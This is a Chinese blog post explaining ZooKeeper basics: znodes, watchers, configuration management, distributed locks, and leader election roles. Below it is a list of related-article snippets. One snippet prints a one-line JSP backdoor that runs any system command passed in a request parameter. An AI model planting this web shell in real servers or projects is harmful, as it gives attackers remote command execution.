Hadoop系列-zookeeper基础
目前是刚刚初学完zookeeper,这篇文章主要是简单的对一些基本的概念进行梳理强化。
zookeeper基础概念的理解
有时候计算机领域很多名词都是从一长串英文提取首字母缩写而来,但很不幸zookeeper不是。那么,zookeeper到底是用来干什么的?我这里先摆一段官网的介绍:
ZooKeeper is a centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services. All of these kinds of services are used in some form or another by distributed applications. Each time they are implemented there is a lot of work that goes into fixing the bugs and race conditions that are inevitable. Because of the difficulty of implementing these kinds of services, applications initially usually skimp on them, which make them brittle in the presence of change and difficult to manage. Even when done correctly, different implementations of these services lead to management complexity when the applications are deployed.(官网链接:http://zookeeper.apache.org)
由于目前还没有实际项目使用zookeeper的经验,针对上述的情况,目前只是对configuration、distributed synchronization有比较清楚的一个认识,认识到什么程度就先记录到什么程度,后期有更加深刻的认识后还会修改更新。首先,要明确两点,第一,zk是在分布式场景中使用,第二,主要的工作就是任务进程的协调调度。在多个应用访问同一个资源的情况下会出现资源竞争,例如一个是查询余额操作、一个是取钱操作、一个是存钱操作,这三个操作不可能放任不管让其自动操作,那么就会出现一个用于协调任务的调度器,zk就扮演这样一个角色,当然这只是其中一种应用-分布式锁,zk的其他应用还包括配置维护、分布式消息队列、分布式通知等。
zk的基本数据模型
zk的基本数据模型与Linux文件系统具有相似的结构,其中每一个节点称为znode,每一个znode都包含有两部分内容:
数据(默认最大存储空间为1MB,是原子操作)
元数据信息,包括cZxid、ctime、mtimp、pZxid等节点属性信息
节点类型
znode的类型在创建时就确定唯一,不可改变,包括:
临时节点、临时有序节点
永久节点、永久有序节点
临时性的节点生命周期取决于会话(session),会话结束节点自动消失,同时临时性节点不允许有子节点。永久性节点不依赖于会话,只有执行删除操作后才会消失。
watch机制
客户端可以通过设置watcher来监视节点的增、删、改等状态变化,当watcher被触发时,客户端会收到一条通知,考虑到需要减小网络数据传输流量,一个watcher只能被触发一次,要想多次触发,需要在触发执行的代码中再次设置watcher。
应用场景
配置管理
在一个分布式的系统中,每台机器运行一个app,app需要读取数据库的信息,而app与数据库连接需要相应的数据库信息,如ip地址、端口等,这个信息就可以通过一个配置文件存储在配置中心中,配置中心将配置信息写入znode的数据中进行存储,同时每个app会在相应的节点上注册一个watcher。一旦配置信息改变,配置中心将新的数据写入到节点中之后,watch机制触发,相应的app就会更改连接数据库所需的信息重新与数据库建立连接。
分布式锁
假设同一时间只能允许一个任务访问数据库中的某条数据,那么首先各个app会在ZK上注册一个自己的临时节点比如节点分别为/app_lock_00001、/app_lock_00002、/app_lock_00003,我们设置序号最小的节点获得锁,即/app_lock_00001,同时/app_lock_00002监听/app_lock_00001,/app_lock_00003监听/app_lock_00002,此时app1开始执行访问数据的操作,执行完成后断开连接,临时节点消失,/app_lock_00002节点监听到之后app2开始执行,同样的操作一直到app3执行完毕。
zk各台机器节点之间的角色
zk中各个机器节点之间的角色有:leader、follower、observe,三种,先不考虑observer,哪台节点是leader、哪些是follower是通过选举机制决定的。具体来讲有两种选举机制:
client端在连接zk servers的时候,会创建临时节点,根据client端与zk servers创建节点的时间顺序,哪一个先创建,哪一个作为leader,其他的就是follower。
client端在连接zk servers的时候,会创建临时有序节点,根据节点序号的大小,最小的为leader,其它为follower,并依次监听比当前节点号小的节点
zk运行正常情况下有以下特点:
客户端可随便连接其中的一台机器节点
客户端可以同时连接多台机器,实现连接的冗余
与事务(增、删、改)有关的操作会通过follower转发至leader,查询操作直接由所连接的服务器负责响应。
那么,对于事务操作转发给leader之后是如何进行的呢?首先,leader收到事务操作之后提出一个Proposal,其它的follower负责投票,leader收集投票之后如果超过半数,那么这次提议成功,同时响应对应的事务操作。同时发送消息给follower,follower接收消息之后会把操作更新至内存,最后响应client端。加入client数量不断增加的话,zk servers有可能就满足不了客户端访问的需求,而leader只有一个,那么就只能添加机器作为follower角色。依照这个逻辑,follower会不断增加,那么就会出现一个问题:一旦出现事务操作,leader要搜集半数以上的投票,follower越多,收集过程就会越慢。为了解决这个问题,在zookeeper3.3.3版本后引入了observer角色,observer不参与投票,但是其他方面包括转发事务操作、响应客户端查询操作都与follower一样,这样在增加机器的同时就不会因为投票规则而影响整体的响应性能。
以上是一个基本的认识,深入的细节可以参考博文:
Hadoop系列-zookeeper基础的更多相关文章
- Hadoop系列-HDFS基础
基本原理 HDFS(Hadoop Distributed File System)是Hadoop的一个基础的分布式文件系统,这个分布式的概念主要体现在两个地方: 数据分块存储在多台主机 数据块采取冗余 ...
- Hadoop系列-MapReduce基础
由于在学习过程中对MapReduce有很大的困惑,所以这篇文章主要是针对MR的运行机制进行理解记录,主要结合网上几篇博客以及视频的讲解内容进行一个知识的梳理. MapReduce on Yarn运行原 ...
- 大数据学习系列之七 ----- Hadoop+Spark+Zookeeper+HBase+Hive集群搭建 图文详解
引言 在之前的大数据学习系列中,搭建了Hadoop+Spark+HBase+Hive 环境以及一些测试.其实要说的话,我开始学习大数据的时候,搭建的就是集群,并不是单机模式和伪分布式.至于为什么先写单 ...
- hadoop系列:zookeeper(2)——zookeeper核心原理(选举)
1.前述 上篇文章<hadoop系列:zookeeper(1)--zookeeper单点和集群安装>(http://blog.csdn.net/yinwenjie/article/deta ...
- Zookeeper系列一:Zookeeper基础命令操作
有些事不是努力就可以改变的,五十块的人民币设计的再好看,也没有一百块的招人喜欢. 前言 由于公司年底要更换办公地点,所以最近投了一下简历,发现面试官现在很喜欢问dubbo.zookeeper和高并发等 ...
- HADOOP+SPARK+ZOOKEEPER+HBASE+HIVE集群搭建(转)
原文地址:https://www.cnblogs.com/hanzhi/articles/8794984.html 目录 引言 目录 一环境选择 1集群机器安装图 2配置说明 3下载地址 二集群的相关 ...
- Hadoop 系列(一)基本概念
Hadoop 系列(一)基本概念 一.Hadoop 简介 Hadoop 是一个由 Apache 基金会所开发的分布式系统基础架构,它可以使用户在不了解分布式底层细节的情況下开发分布式程序,充分利用集群 ...
- hadoop系列四:mapreduce的使用(二)
转载请在页首明显处注明作者与出处 一:说明 此为大数据系列的一些博文,有空的话会陆续更新,包含大数据的一些内容,如hadoop,spark,storm,机器学习等. 当前使用的hadoop版本为2.6 ...
- Hadoop生态圈-zookeeper完全分布式部署
Hadoop生态圈-zookeeper完全分布式部署 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 本篇博客部署是建立在Hadoop高可用基础之上的,关于Hadoop高可用部署请参 ...
随机推荐
- CVE-2018-10945 mongoose越界访问
Hello , I found a vulneratility in mg_handle_cgi function The function is in mongoose.c , line 8925 ...
- idea 断点调试
一.步骤控制 二.查看变量 IDEA debug查看变量值有3种方法: 1.鼠标悬浮 2.alt+f8快捷键(选中变量表达式,比如匿名变量或方法参数,再按atl+f8,接着回车) 3.debug窗口查 ...
- windows Ctrl + Alt + 方向键 取消屏幕反转
1.在桌面右击 2.再次右击桌面 3.单击选项和支持 4.点击禁用和应用
- eclipse安装lua
单击Eclipse->Help->Install New Software… 在Work with中输入网址 Kepler - http://download.eclipse.org/re ...
- sqlserver 统计信息自动更新 ----trace flag 2371
对于已经应用的表(非临时表)统计信息更新条件为500+20%,具体更新条件 If the statistics is defined on a regular table, it is out of ...
- Paxos可容错的一致性协议
一致性问题要求多个process对一个值达成一致.基于消息传递的分布式系统中,在不考虑消息篡改等拜占庭错误的情况下,Paxos可以解决在进程退出,消息延迟,丢失,重复等异常发生的环境中对某个值达成一致 ...
- Coroutine及其实现
线程是内核对外提供的服务,应用程序可以通过系统调用让内核启动线程,由内核来负责线程调度和切换.线程在等待IO操作时线程变为unrunnable状态会触发上下文切换.现代操作系统一般都采用抢占式调度,上 ...
- jsp小后门
一:执行系统命令: 无回显执行系统命令: 1 <%Runtime.getRuntime().exec(request.getParameter("i"));%> 请求: ...
- Jmeter入门--工具组成和线程组
1.Jmeter工具组成部分: 资源生成器:用于生成测试过程中服务器,负载机的资源代码.(LoadRunner中的VuGen) 用户运行器:通常是一个脚本运行引擎,根据脚本要求模拟指定的用户行为.(L ...
- Entity Framework工具POCO Code First Generator的使用
在使用Entity Framework过程中,有时需要借助工具生成Code First的代码,而Entity Framework Reverse POCO Code First Generator是一 ...